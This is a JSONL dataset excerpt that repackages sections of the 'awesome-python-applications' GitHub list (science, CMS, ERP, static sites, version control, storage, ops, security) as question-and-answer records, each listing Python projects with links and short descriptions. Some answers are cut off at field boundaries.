"question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007094"}
{"id": "gh_135f25213e88", "question": "How to: <a id=\"tag-science\" href=\"#tag-science\">Science</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **AnuGA** - ([Repo](https://github.com/GeoscienceAustralia/anuga_core)) Advanced simulation of the shallow water equation, for modeling tsunamis, dam breaks, and floods. `(linux, windows)`\n  1. **Artisan** - ([Repo](https://github.com/artisan-roaster-scope/artisan), [Home](https://artisan-scope.org/), [Docs](https://artisan-scope.org/docs/quick-start-guide)) Desktop visual scope for coffee roasters, which helps coffee roasters record, analyze, and control roast profiles. `(linux, windows, mac)`\n  1. **ASCEND** - ([Repo](http://code.ascend4.org/ascend/trunk), [Home](http://ascend4.org/Main_Page), [WP](https://en.wikipedia.org/wiki/ASCEND)) Mathematical chemical process modelling system developed at Carnegie Mellon University since late 1978. `(linux, windows, mac, gtk)`\n  1. **CellProfiler** - ([Repo](https://github.com/CellProfiler/CellProfiler), [Home](http://cellprofiler.org/), [Manual](https://cellprofiler.org/cpa), [Docs](https://github.com/CellProfiler/CellProfiler/wiki)) Interactive data exploration, analysis, and classification of biological image sets. `(linux, windows, mac)`\n  1. **cellxgene** - ([Repo](https://github.com/chanzuckerberg/cellxgene), [Home](https://chanzuckerberg.github.io/cellxgene)) Web-based interactive explorer for single-cell transcriptomics data. `(linux, windows, mac, fnd)`\n  1. **CKAN** - ([Repo](https://github.com/ckan/ckan), [Home](https://ckan.org/)) Data management system (DMS) which makes it easy to publish, share, and use data. Data hubs powered by CKAN include [datahub.io](https://datahub.io), [catalog.data.gov](https://catalog.data.gov), and [europeandataportal.eu](https://europeandataportal.eu/data/en/dataset), among many other sites. `(server, flask)`\n  1. **CoCalc** - ([Repo](https://github.com/sagemathinc/cocalc), [Home](https://cocalc.com/), [WP](https://en.wikipedia.org/wiki/CoCalc)) Collaborative calculation in the cloud, with support for the scientific Python stack, SageMath, R, LaTeX, Markdown, and more. Also features chat, course management, and other supporting functionality. `(server)`\n  1. **Dissem.in** - ([Repo](https://github.com/dissemin/dissemin), [Home](https://dissem.in/), [Docs](https://dev.dissem.in/)) Web platform to help researchers upload their papers to open-access repositories. `(server, django)`\n  1. **Galaxy** - ([Repo](https://github.com/galaxyproject/galaxy), [Home](https://galaxyproject.org/), [Docs](https://galaxyproject.org/docs)) Web-based platform for reproducible and transparent computational research, with a focus on bioinformatics. `(server)`\n  1. **InVesalius** - ([Repo](https://github.com/invesalius/invesalius3), [Home](https://invesalius.github.io/), [WP](https://en.wikipedia.org/wiki/InVesalius)) Generates virtual reconstructions of structures in the human body for medical purposes, including CT and MRI scans. `(linux, windows, mac, gtk)`\n  1. **Manim** - ([Repo](https://github.com/3b1b/manim), [Docs](https://manim.readthedocs.io/)) Animation engine for explanatory math videos, primarily designed for [works by 3blue1brown](https://www.youtube.com/channel/UCYO_jab_esuFRV4b17AJtAw). `(linux)`\n  1. **Mayavi** - ([Repo](https://github.com/enthought/mayavi), [Home](http://docs.enthought.com/mayavi/mayavi)) General purpose, cross-platform tool for 2-D and 3-D scientific data visualization. `(linux, windows, mac, qt4)`\n  1. **Mosaic** - ([Repo](https://github.com/usnistgov/mosaic), [Home](https://pages.nist.gov/mosaic), [Docs](https://pages.nist.gov/mosaic/html/index.html)) Desktop-based single molecule analysis toolbox that automatically decodes multi-state nanopore data. `(linux, windows, mac, gov)`\n  1. **odemis** - ([Repo](https://github.com/delmic/odemis), [Home](https://www.delmic.com/microscopy-software-odemis)) Desktop imaging workflow software for Delmic microscopes, supporting autofocus, coordinate history, and OME-TIFF and HDF5 export. `(linux)`\n  1. **OPEM** - ([Repo](https://github.com/ECSIM/opem), [Docs](https://www.ecsim.ir/opem/doc)) A modeling tool for evaluating the performance of [proton exchange membrane (PEM) fuel cells](https://en.wikipedia.org/wiki/Proton-exchange_membrane_fuel_cell). `(linux, windows, mac)`\n  1. **Orange** - ([Repo](https://github.com/biolab/orange3), [Home](https://orange.biolab.si/), [WP](https://en.wikipedia.org/wiki/Orange_%28software%29)) Component-based data mining software for graphical interactive data analysis and visualization. `(linux, windows, mac, qt4, qt5)`\n  1. **Pybliographer** - ([Repo](https://github.com/GNOME/pybliographer), [Home](https://pybliographer.org/)) Bibliographic database manager with a user-friendly desktop UI. `(linux, gtk)`\n  1. **ReproZip** - ([Repo](https://github.com/VIDA-NYU/reprozip), [Home](https://www.reprozip.org/), [Demo](https://examples.reprozip.org/), [PyPI](https://pypi.org/project/reprozip), [Docs](https://docs.reprozip.org/)) Command-line tool which automatically builds reproducible experiments archives from console commands, designed for use", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007111"}
{"id": "gh_a1b7d8645d2c", "question": "How to: <a id=\"tag-cms\" href=\"#tag-cms\">CMS</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Abilian SBE** - ([Repo](https://github.com/abilian/abilian-sbe), [Home](https://www.abilian.com/)) A \"Social Business Engine\" with features including lightweight document management, discussions, wikis, timelines, and more. `(communication, server)`\n  1. **Django-CMS** - ([Repo](https://github.com/divio/django-cms), [Home](https://www.django-cms.org/en)) Enterprise content management system based on the Django framework with version control, multi-site support, and more. `(server, django)`\n  1. **Ella** - ([Repo](https://github.com/ella/ella), [Docs](https://ella.readthedocs.io/en/latest/index.html)) Django-based content management system with a focus on high-traffic news sites and Internet magazines. `(server, django)`\n  1. **Mezzanine** - ([Repo](https://github.com/stephenmcd/mezzanine), [Home](http://mezzanine.jupo.org/)) Consistent and flexible content management platform built on the Django framework. `(server, django)`\n  1. **Plone** - ([Repo](https://github.com/plone/Plone), [Home](https://plone.com/), [WP](https://en.wikipedia.org/wiki/Plone_%28software%29)) Extensible enterprise content management system built on Zope. `(server)`\n  1. **Plumi** - ([Repo](https://github.com/plumi/plumi.app), [WP](https://en.wikipedia.org/wiki/Plumi)) Video sharing content management system based on [Plone](https://en.wikipedia.org/wiki/Plone_(software)). `(video, server, plone)`\n  1. **Pretix** - ([Repo](https://github.com/pretix/pretix), [Home](https://pretix.eu/), [Blog](https://pretix.eu/about/en/blog), [PyPI](https://pypi.org/project/pretix), [Docs](https://docs.pretix.eu/en/latest/development/index.html)) Web-based ticketing software, with support for customizable storefronts, direct payments, box office, and reporting. `(server, corp)`\n  1. **PyCon** - ([Repo](https://github.com/PyCon/pycon), [Home](https://us.pycon.org/), [Docs](https://pycon.readthedocs.io/en/latest)) Content management and conference organization web application, based on Django and [Symposion](https://github.com/pinax/symposion). `(server, django)`\n  1. **Saleor** - ([Repo](https://github.com/mirumee/saleor), [Home](https://getsaleor.com/)) Modular, high-performance e-commerce storefront built with Django, GraphQL, and ReactJS. `(server, django)`\n  1. **Shuup** - ([Repo](https://github.com/shuup/shuup), [Home](https://www.shuup.com/), [Docs](https://shuup.readthedocs.io/en/latest)) Storefront web application, with support for single- and multi-marketplace models. `(server)`\n  1. **Wagtail** - ([Repo](https://github.com/wagtail/wagtail), [Home](https://wagtail.io/)) A Django content management system focused on flexibility and user experience. `(server, django)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007121"}
{"id": "gh_637938f88d67", "question": "How to: <a id=\"tag-erp\" href=\"#tag-erp\">ERP</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **ERP5** - ([Repo](https://lab.nexedi.com/nexedi/erp5), [Home](https://erp5.nexedi.com/), [WP](https://en.wikipedia.org/wiki/ERP5)) Web-based ERP, CRM, DMS, and Big Data system with hundreds of built-in modules, designed for corporate scalability. `(server)`\n  1. **ERPNext** - ([Repo](https://github.com/frappe/erpnext), [Home](https://erpnext.com/), [WP](https://en.wikipedia.org/wiki/ERPNext)) Web-based ERP system with accounting, inventory, CRM, sales, procurement, project management, and HR. Built on [Frappe](https://github.com/frappe/frappe) and MariaDB. `(server)`\n  1. **Frepple** - ([Repo](https://github.com/frePPLe/frepple), [Home](https://frepple.com/), [Docs](https://frepple.org/docs/current)) Web-based supply chain planning for production planning and scheduling. `(linux, server)`\n  1. **Odoo** - ([Repo](https://github.com/odoo/odoo), [Home](https://www.odoo.com/), [WP](https://en.wikipedia.org/wiki/Odoo)) Web-based ERP and CRM with many built-in modules, plus thousands of apps to suit any business. `(server)`\n  1. **Tryton** - ([Repo](https://hg.tryton.org/trytond), [Home](https://www.tryton.org/), [WP](https://en.wikipedia.org/wiki/Tryton), [Docs](https://docs.tryton.org/en/latest)) Modular web-based ERP, designed for companies of all sizes. `(server, fdn)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007128"}
{"id": "gh_cfafcf2c303e", "question": "How to: <a id=\"tag-static_site\" href=\"#tag-static_site\">Static Site</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Cactus** - ([Repo](https://github.com/eudicots/Cactus), [PyPI](https://pypi.org/project/cactus)) Static website generator using Django templates. `(linux, windows, mac)`\n  1. **Chert** - ([Repo](https://github.com/mahmoud/chert), [PyPI](https://pypi.org/project/chert)) Static site generator with built-in support for listicles, created by this humble author, used to power [calver.org](https://calver.org), [0ver.org](https://0ver.org), and [sedimental.org](https://sedimental.org/), the author's blog. Mostly here as an easter egg :) `(linux, windows, mac)`\n  1. **Grow** - ([Repo](https://github.com/grow/grow), [Home](https://grow.io/), [PyPI](https://pypi.org/project/grow)) Static site generator optimized for building interactive, localized microsites, with a focus on workflow and maintainability. `(linux, windows, mac)`\n  1. **Hyde** - ([Repo](https://github.com/hyde/hyde), [Home](http://hyde.github.io/), [PyPI](https://pypi.org/project/hyde)) Static site generator which began as the Python counterpart to [Jekyll](https://github.com/jekyll/jekyll). `(linux, windows, mac)`\n  1. **Lektor** - ([Repo](https://github.com/lektor/lektor), [Home](https://www.getlektor.com/), [PyPI](https://pypi.org/project/Lektor)) Static site generator with built-in admin console and minimal desktop application. `(linux, windows, mac)`\n  1. **Nikola** - ([Repo](https://github.com/getnikola/nikola), [Home](https://www.getnikola.com/), [PyPI](https://pypi.org/project/nikola)) Command-line static site generator with incremental rebuilds and support for Markdown, reST, Jupyter notebooks, and HTML. `(linux, windows, mac)`\n  1. **Pelican** - ([Repo](https://github.com/getpelican/pelican), [Home](https://blog.getpelican.com/), [PyPI](https://pypi.org/project/pelican)) Command-line static site generator that supports Markdown and reST syntax. `(linux, windows, mac)`\n  1. **Prosopopee** - ([Repo](https://github.com/Psycojoker/prosopopee), [Demo](https://surleschemins.fr/), [PyPI](https://pypi.org/project/prosopopee), [Docs](https://prosopopee.readthedocs.io/)) A static site generator designed for photographers and others who tell stories with pictures. `(linux, windows, mac)`\n  1. **PyVideo** - ([Repo](https://github.com/pyvideo/pyvideo), [Home](https://pyvideo.org/)) Static media index custom-built for the Python community, and all the content our meetings and conferences produce. `(video, linux, server)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007137"}
{"id": "gh_51ef57d89fae", "question": "How to: <a id=\"tag-dev\" href=\"#tag-dev\">Dev</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "Projects related to software development and adjacent technical areas.", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007143"}
{"id": "gh_fafec4cf7601", "question": "How to: <a id=\"tag-dev.scm\" href=\"#tag-dev.scm\">SCM</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Allura** - ([Repo](https://github.com/apache/allura), [Home](https://allura.apache.org/), [WP](https://en.wikipedia.org/wiki/Apache_Allura)) Software [forge](https://en.wikipedia.org/wiki/Forge_(software)), with support for git, hg, and svn. `(server)`\n  1. **dvc (Data Version Control)** - ([Repo](https://github.com/iterative/dvc), [Home](https://dvc.org/), [Docs](https://dvc.org/doc)) Command-line tool for version control over data used in machine learning projects. Aims to replace Excel and other tools used to track and deploy model versions. `(ai, organization, linux, windows, mac)`\n  1. **Git Cola** - ([Repo](https://github.com/git-cola/git-cola), [Home](https://git-cola.github.io/)) Featureful cross-platform GUI wrapper for `git`. `(linux, windows, mac, qt4, qt5)`\n  1. **Gitless** - ([Repo](https://github.com/sdg-mit/gitless), [Home](https://gitless.com/), [PyPI](https://pypi.org/project/gitless), [Docs](https://gitless.com/#documentation)) Simple version control system built on top of Git. `(linux, windows, mac)`\n  1. **GNU Bazaar** - ([Repo](https://code.launchpad.net/bzr), [Home](http://bazaar.canonical.com/en), [WP](https://en.wikipedia.org/wiki/GNU_Bazaar), [Docs](http://doc.bazaar.canonical.com/en)) Distributed and client-server revision control system. `(linux, windows, mac)`\n  1. **Kallithea** - ([Repo](https://kallithea-scm.org/repos/kallithea), [WP](https://en.wikipedia.org/wiki/Kallithea_%28software%29)) Software [forge](https://en.wikipedia.org/wiki/Forge_(software)) for Mercurial and Git with a built-in push/pull server, full text search, and code-review. Forked from RhodeCode in 2014. `(server)`\n  1. **Klaus** - ([Repo](https://github.com/jonashaag/klaus), [Demo](http://klausdemo.lophus.org/), [PyPI](https://pypi.org/project/klaus), [Docs](https://github.com/jonashaag/klaus/wiki)) pip-installable web-based viewer for git repositories that \"just works\". `(server)`\n  1. **Launchpad** - ([Repo](https://launchpad.net/launchpad), [Home](https://launchpad.net/), [WP](https://en.wikipedia.org/wiki/Launchpad_%28website%29), [Docs](https://dev.launchpad.net/)) Software forge designed and run by Canonical, with support for Git and [Bazaar](https://en.wikipedia.org/wiki/GNU_Bazaar). `(server)`\n  1. **Mercurial** - ([Repo](https://www.mercurial-scm.org/repo/hg-stable), [Home](https://www.mercurial-scm.org/), [WP](https://en.wikipedia.org/wiki/Mercurial)) Cross-platform distributed revision-control system designed for high performance and advanced branching/merging capabilities. `(linux, windows, mac)`\n  1. **Pagure** - ([Repo](https://pagure.io/pagure), [Home](https://pagure.io/)) Software [forge](https://en.wikipedia.org/wiki/Forge_(software)) focused on git and developed by the Fedora engineering team. `(server)`\n  1. **Patchwork** - ([Repo](https://github.com/getpatchwork/patchwork), [Home](http://jk.ozlabs.org/projects/patchwork), [Docs](https://patchwork.readthedocs.io/en/latest)) Web-based patch tracking system designed to facilitate code contribution to an open-source project. Designed and used for Linux kernel subsystem development. `(server)`\n  1. **Plane** - ([Repo](https://github.com/makeplane/plane), [Home](https://plane.so/)) Modern, self-hostable issue and product roadmap tracker. An alternative to JIRA, Linear, and Asana. `(server, django)`\n  1. **RabbitVCS** - ([Repo](https://github.com/rabbitvcs/rabbitvcs), [Home](http://rabbitvcs.org/), [Docs](http://wiki.rabbitvcs.org/wiki)) Tools providing straightforward graphical access to Subversion or Git within a variety of clients, including as Nautilus, Thunar, Nemo, Caja, and the command line. `(linux)`\n  1. **RhodeCode** - ([Repo](https://code.rhodecode.com/rhodecode-enterprise-ce), [Home](https://rhodecode.com/), [WP](https://en.wikipedia.org/wiki/RhodeCode)) Self-hosted platform for behind-the-firewall source code management, providing centralized control over Git, Mercurial, and Subversion. `(server, corp)`\n  1. **Roundup Issue Tracker** - ([Repo](http://hg.code.sf.net/p/roundup/code), [Home](https://www.roundup-tracker.org/), [WP](https://en.wikipedia.org/wiki/Roundup_%28issue_tracker%29), [gh](https://github.com/roundup-tracker/roundup)) Highly-customizable issue tracking system featuring command-line, web, and email interfaces, historically used by the official Python bug tracker at [bugs.python.org](https://bugs.python.org). `(server)`\n  1. **TortoiseHg** - ([Repo](https://bitbucket.org/tortoisehg/thg/src), [Home](https://tortoisehg.bitbucket.io/), [Docs](https://bitbucket.org/tortoisehg/thg/wiki/developers/Home)) Windows shell extension and a series of applications for the Mercurial distributed revision control system. Also includes GNOME and CLI support. `(linux, windows, qt4, qt5)`\n  1. **Trac** - ([Repo](https://github.com/edgewall/trac), [Home](https://trac.edgewall.org/), [WP](https://en.wikipedia.org/wiki/Trac), [Docs](https://trac.edgewall.org/wiki/TracGuide)) Enhanced web-based wiki and issue tracking system for softw", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007156"}
{"id": "gh_c35963b09b09", "question": "How to: <a id=\"tag-dev.code_review\" href=\"#tag-dev.code_review\">Code Review</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Diffoscope** - ([Repo](https://salsa.debian.org/reproducible-builds/diffoscope), [Home](https://diffoscope.org/), [Demo](https://try.diffoscope.org/), [PyPI](https://pypi.org/project/diffoscope)) Web-based deep comparison of files, archives, and directories, including support for diffing tarballs, ISO images, and PDFs. `(server)`\n  1. **Meld** - ([Repo](https://github.com/GNOME/meld), [Home](http://meldmerge.org/)) Visual diff and merge tool targeted at developers, providing two- and three-way comparison of both files and directories, and supports many version control systems including Git, Mercurial, Bazaar, and Subversion. `(linux, windows, mac, gtk)`\n  1. **Review Board** - ([Repo](https://github.com/reviewboard/reviewboard), [Home](https://www.reviewboard.org/)) Extensible code review tool for projects and companies of all sizes. `(server)`\n  1. **Rietveld** - ([Repo](https://github.com/rietveld-codereview/rietveld), [Home](https://codereview.appspot.com/), [WP](https://en.wikipedia.org/wiki/Rietveld_%28software%29)) Django-based collaborative code review tool for Subversion written by [Guido van Rossum](https://en.wikipedia.org/wiki/Guido_van_Rossum) to run on [Google AppEngine](https://en.wikipedia.org/wiki/Google_App_Engine). The basis for [Gerrit](https://en.wikipedia.org/wiki/Gerrit_(software)). `(server)`\n  1. **SQLFluff** - ([Repo](https://github.com/sqlfluff/sqlfluff), [Home](https://www.sqlfluff.com/), [Fund](https://flattr.com/github/alanmcruickshank), [PyPI](https://pypi.org/project/sqlfluff)) Dialect-flexible and configurable SQL linter, designed with ELT applications in mind, with support for templating and autofixing errors. `(console)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007164"}
{"id": "gh_ba82a5cd865e", "question": "How to: <a id=\"tag-dev.storage\" href=\"#tag-dev.storage\">Storage</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **B2** - ([Repo](https://github.com/Backblaze/B2_Command_Line_Tool), [PyPI](https://pypi.python.org/pypi/b2)) Command-line tool that gives easy access to all of the capabilities of Backblaze's [B2 Cloud Storage](https://www.backblaze.com/b2/cloud-storage.html). `(linux, windows, mac, corp)`\n  1. **Barman** - ([Repo](https://github.com/2ndquadrant-it/barman)) Remote backup and disaster recovery for PostgreSQL. `(linux)`\n  1. **Baserow** - ([Repo](https://gitlab.com/bramw/baserow), [Home](https://baserow.io/), [gh](https://github.com/bram2w/baserow), [Docs](https://baserow.io/docs)) Web-based no-code persistence platform, like a database meets a spreadsheet, with a REST API. `(organization, server, django)`\n  1. **Datasette** - ([Repo](https://github.com/simonw/datasette), [PyPI](https://pypi.org/project/datasette), [Docs](https://datasette.readthedocs.io/en/latest)) A tool for exploring and publishing data, backed by SQLite. `(server)`\n  1. **Duplicity** - ([Repo](https://gitlab.com/duplicity/duplicity), [Home](https://duplicity.us/), [Docs](https://duplicity.us/docs.html)) Encrypted bandwidth-efficient backup tool, using the rsync algorithm. `(productivity, linux)`\n  1. **EdgeDB** - ([Repo](https://github.com/edgedb/edgedb), [Home](https://edgedb.com/), [Docs](https://edgedb.com/docs)) High-performance object-relational database built on top of PostgreSQL, featuring strict, strong typing, built-in migrations, and GraphQL support. `(server)`\n  1. **FreeNAS** - ([Repo](https://github.com/freenas/freenas), [Home](https://www.freenas.org/), [Docs](https://www.ixsystems.com/documentation/freenas)) Operating system designed to be installed virtually any hardware platform, for sharing [ZFS](https://en.wikipedia.org/wiki/ZFS)-based storage over a network, using SMB, NFS, AFP, FTP, and more. `(server)`\n  1. **Gridsync** - ([Repo](https://github.com/gridsync/gridsync)) Cross-platform GUI built to synchronize local directories with Tahoe-LAFS storage grids. `(productivity, linux, windows, mac)`\n  1. **kinto** - ([Repo](https://github.com/Kinto/kinto), [Home](https://www.kinto-storage.org/), [Docs](http://docs.kinto-storage.org/)) A generic JSON document store with sharing and synchronisation capabilities, supporting in-memory and PostgreSQL backends. `(server)`\n  1. **Mathesar** - ([Repo](https://github.com/mathesar-foundation/mathesar), [Home](https://mathesar.org/?ref=awesome-python-applications), [Demo](https://demo.mathesar.org/), [Fund](https://mathesar.org/sponsor.html), [Docs](https://docs.mathesar.org/)) Self-hostable web application which provides a spreadsheet-like interface to a PostgreSQL database, enabling users of all technical skill levels to design data models, enter data, and build reports. `(organization, server, django)`\n  1. **mycli** - ([Repo](https://github.com/dbcli/mycli), [Home](https://www.mycli.net/), [PyPI](https://pypi.python.org/pypi/mycli)) Interactive MySQL client that does auto-completion and syntax highlighting. `(linux, mac)`\n  1. **Nuxeo Drive** - ([Repo](https://github.com/nuxeo/nuxeo-drive), [Home](https://www.nuxeo.com/products/drive-desktop-sync), [Docs](https://doc.nuxeo.com/client-apps/nuxeo-drive)) Cross-platform desktop synchronization client for the Nuxeo platform. `(productivity, linux, windows, mac, console, appimage, lgpl, qt5)`\n  1. **pgcli** - ([Repo](https://github.com/dbcli/pgcli), [Home](https://www.pgcli.com/), [PyPI](https://pypi.python.org/pypi/pgcli)) Interactive PostgreSQL client that does auto-completion and syntax highlighting. `(linux, mac)`\n  1. **s3ql** - ([Repo](https://github.com/s3ql/s3ql), [Docs](http://www.rath.org/s3ql-docs/index.html)) A standards-conforming, full-featured UNIX filesystem for cloud-based storage services (S3, Google Storage, OpenStack), supporting compression, encryption, deduplication, snapshotting, and more. `(linux)`\n  1. **Seafile** - ([Repo](https://github.com/haiwen/seahub), [WP](https://en.wikipedia.org/wiki/Seafile)) Cross-platform file hosting and synchronization system. `(server)`\n  1. **sqlmap** - ([Repo](https://github.com/sqlmapproject/sqlmap), [Home](http://sqlmap.org/), [PyPI](https://pypi.org/project/sqlmap), [Docs](https://github.com/sqlmapproject/sqlmap/wiki)) Automatic SQL injection and database takeover. `(security, console)`\n  1. **TahoeLAFS** - ([Repo](https://github.com/tahoe-lafs/tahoe-lafs), [Home](https://tahoe-lafs.org/trac/tahoe-lafs), [WP](https://en.wikipedia.org/wiki/Tahoe-LAFS)) Decentralized cloud storage system for robust distributed data storage. `(linux, windows, mac)`\n  1. **WAL-E** - ([Repo](https://github.com/wal-e/wal-e)) Continuous archiving of PostgreSQL WAL files and base backups. `(linux)`\n  1. **ZEO** - ([Repo](https://github.com/zopefoundation/ZEO), [PyPI](https://pypi.org/project/ZEO), [Docs](https://zope.readthedocs.io/en/latest/zopebook/ZEO.html)) Server and client providing [ZODB](http://www.zodb.org/)-based storage over the network. `(linux, server)`\n  1. **ZFSp** - ([Repo](https", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007178"}
{"id": "gh_0c739566b2db", "question": "How to: <a id=\"tag-dev.ops\" href=\"#tag-dev.ops\">Ops</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Airflow** - ([Repo](https://github.com/apache/airflow), [Docs](https://airflow.apache.org/)) A platform to programmatically author, schedule and monitor workflows. `(linux, server, corp, flask)`\n  1. **Ajenti** - ([Repo](https://github.com/ajenti/ajenti), [Home](https://ajenti.org/), [PyPI](https://pypi.org/project/ajenti-panel), [Docs](http://docs.ajenti.org/en/latest)) Web-base server admin panel for fast, extensible remote access, featuring a web terminal, text editor, file manager, and more. `(server)`\n  1. **Ansible** - ([Repo](https://github.com/ansible/ansible), [Home](https://www.ansible.com/), [Docs](https://docs.ansible.com/ansible)) Agentless, playbook-based automation. `(linux, mac, corp)`\n  1. **aws-cli** - ([Repo](https://github.com/aws/aws-cli), [PyPI](https://pypi.org/project/awscli), [Docs](https://docs.aws.amazon.com/cli/latest)) Official command-line interface for Amazon Web Services. `(console, py26)`\n  1. **Beaker** - ([Repo](https://git.beaker-project.org/cgit/beaker), [Home](https://beaker-project.org/), [Docs](https://beaker-project.org/docs)) Hardware integration testing system, used by RedHat to test compatiblity for RHEL and Fedora. `(server, flask)`\n  1. **Cobbler** - ([Repo](https://github.com/Cobbler/Cobbler), [Home](https://cobbler.github.io/), [WP](https://en.wikipedia.org/wiki/Cobbler_%28software%29)) Linux installation server that allows for rapid setup of network installation environments. `(linux, server)`\n  1. **DCOS** - ([Repo](https://github.com/dcos/dcos), [Home](https://dcos.io/), [WP](https://en.wikipedia.org/wiki/Mesosphere%2C_Inc.#Mesosphere_DC/OS), [Docs](https://dcos.io/docs)) Management platform for hardware and software resources in datacenters, built on [Apache Mesos](https://en.wikipedia.org/wiki/Apache_Mesos). `(server, corp)`\n  1. **fail2ban** - ([Repo](https://github.com/fail2ban/fail2ban), [Home](https://www.fail2ban.org/wiki/index.php/Main_Page), [WP](https://en.wikipedia.org/wiki/Fail2ban)) Daemon to ban hosts that cause multiple authentication errors on Linux servers. `(linux, server)`\n  1. **Ganeti** - ([Repo](https://github.com/ganeti/ganeti)) Virtual machine cluster management tool built on existing virtualization technologies such as [Xen](https://en.wikipedia.org/wiki/Xen) and [KVM](https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine). `(linux, server, haskell)`\n  1. **Glances** - ([Repo](https://github.com/nicolargo/glances), [Home](https://nicolargo.github.io/glances), [Docs](https://glances.readthedocs.io/en/stable)) A cross-platform top/htop alternative, providing an overview of system resources. `(productivity, linux, windows, mac, server)`\n  1. **Gunicorn** - ([Repo](https://github.com/benoitc/gunicorn), [Home](https://gunicorn.org/), [PyPI](https://pypi.python.org/pypi/gunicorn)) Pluggable, pre-fork WSGI server, started as the counterpart to [Unicorn](https://en.wikipedia.org/wiki/Unicorn_(web_server)). `(server)`\n  1. **Healthchecks** - ([Repo](https://github.com/healthchecks/healthchecks), [Home](https://healthchecks.io/), [Docs](https://healthchecks.io/docs)) Web-based monitor for scheduled jobs (e.g., cron). `(server, corp)`\n  1. **Iris** - ([Repo](https://github.com/linkedin/iris), [Home](https://iris.claims/)) Flexible automated incident paging system, developed by and used at LinkedIn. `(server, corp)`\n  1. **Nagstamon** - ([Repo](https://github.com/HenriWahl/Nagstamon), [Home](https://nagstamon.ifw-dresden.de/), [Docs](https://nagstamon.ifw-dresden.de/docs)) Status monitor for the desktop, with support for Nagios, Icinga, Opsview, and more. `(linux, windows, mac)`\n  1. **NColony** - ([Repo](https://github.com/ncolony/ncolony), [Home](http://ncolony.org/en/latest)) Process manager and monitor. `(linux, mac, server)`\n  1. **netbox** - ([Repo](https://github.com/netbox-community/netbox), [Docs](https://netbox.readthedocs.io/en/stable)) IP address management (IPAM) and data center infrastructure management (DCIM) tool, conceived at Digital Ocean. `(server, django)`\n  1. **nsupdate.info** - ([Repo](https://github.com/nsupdate-info/nsupdate.info), [PyPI](https://pypi.org/project/nsupdate), [Docs](https://nsupdateinfo.readthedocs.io/en/latest)) Featureful dynamic DNS service, using the Dynamic DNS UPDATE protocol ([RFC 2136](https://tools.ietf.org/html/rfc2136)) to update BIND and other major nameservers. `(internet, server)`\n  1. **Oncall** - ([Repo](https://github.com/linkedin/oncall), [Home](https://oncall.tools/)) Calendar tool designed for on-call management and scheduling, developed by and used at LinkedIn. `(server, corp)`\n  1. **OpenStack** - ([Repo](https://github.com/openstack/openstack), [Home](https://www.openstack.org/), [Docs](https://docs.openstack.org/)) Cloud operating system that controls large pools of compute, storage, and networking resources throughout a datacenter, manageable through a web-based dashboard. `(server, corp)`\n  1. **Pulp** - ([Repo](https://github.com/pulp/pulp), [Home](https://pulpproject.", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007195"}
{"id": "gh_cb258643d8ac", "question": "How to: <a id=\"tag-dev.security\" href=\"#tag-dev.security\">Security</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **BYOB (Build Your Own Botnet)** - ([Repo](https://github.com/malwaredllc/byob)) Client-server framework (RAT and C2 server) for security researchers to build and operate basic botnets. `(linux, windows, mac)`\n  1. **CAPE** - ([Repo](https://github.com/ctxis/CAPE), [Demo](https://cape.contextis.com/submit)) Web application designed to automate malware analysis, succeeded by [CAPEv2](https://github.com/kevoreilly/CAPEv2). `(server)`\n  1. **CAPEv2** - ([Repo](https://github.com/kevoreilly/CAPEv2), [Demo](https://www.capesandbox.com/)) Web application designed to automate malware analysis, with a goal of extracting payloads and configuration from uploaded artifacts. `(server)`\n  1. **Cowrie** - ([Repo](https://github.com/cowrie/cowrie), [Home](http://www.cowrie.org/)) Medium interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the 